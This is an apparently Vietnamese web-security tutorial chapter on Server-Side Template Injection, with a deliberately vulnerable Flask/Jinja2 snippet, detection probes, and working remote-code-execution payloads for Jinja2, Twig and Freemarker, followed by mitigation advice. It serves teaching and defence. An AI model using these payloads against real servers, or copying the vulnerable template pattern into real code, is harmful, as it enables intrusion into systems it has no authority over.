Skip to main content

Chương 25: SSTI — Server-Side Template Injection

Khái niệm

SSTI (Server-Side Template Injection — Tiêm vào template phía server) xảy ra khi user input được nhúng trực tiếp vào template engine và được evaluate, thay vì được treated như data.

Mức độ nguy hiểm: Rất cao — SSTI thường dẫn đến RCE.


Template Engines phổ biến

EngineNgôn ngữSyntax
Jinja2Python{{ }}, {% %}
TwigPHP{{ }}, {% %}
FreemarkerJava${...}, <#...>
ThymeleafJava${...}, th:*
ERBRuby<%= %>, <% %>
PebbleJava{{ }}, {% %}

Cách hoạt động

# Vulnerable Jinja2
from jinja2 import Template

@app.route('/hello')
def hello():
name = request.args.get('name')
# SAI: string interpolation trước khi template render
template = Template(f"Hello {name}!") # ← Inject point!
return template.render()

# Normal: name=Alice → "Hello Alice!"
# Attack: name={{ 7*7 }} → "Hello 49!" → Template evaluated!
# Attack: name={{ config }} → leak Flask config (secret key!)

Detection

Fuzz với: ${{<%[%'"}}%\
→ Nếu error → template engine present

Mathematical expressions:
${7*7} → 49 (Jinja2/Twig)
<%= 7*7 %> → 49 (ERB)
#{7*7} → 49 (Ruby template)
{{7*7}} → 49 (Jinja2)
{{7*'7'}} → '7777777' (Jinja2 với Python multiplication)
→ 49 (Twig với PHP multiplication)
→ Phân biệt engine

Exploitation

Jinja2 RCE

# Payload để đạt RCE trong Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Hoặc qua MRO (Method Resolution Order)
{{''.__class__.__mro__[1].__subclasses__()}}
# → List tất cả subclasses → tìm subprocess.Popen

{{''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate()}}

# Ngắn hơn:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig RCE

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker RCE

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

Phòng chống

# ĐÚNG: Pass data riêng biệt, không string interpolation
from jinja2 import Environment, select_autoescape

env = Environment(autoescape=select_autoescape(['html', 'xml']))
template = env.from_string("Hello {{ name }}!") # Template literal
return template.render(name=user_input) # Data riêng biệt

# Sandbox Jinja2
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Giới hạn access đến Python internals

Tóm tắt

  • SSTI: user input evaluated như template code → RCE.
  • Detect: {{7*7}} → 49.
  • Exploit: access Python internals qua MRO, os.popen().
  • Phòng chống: không concat user input vào template string, dùng render(data=input).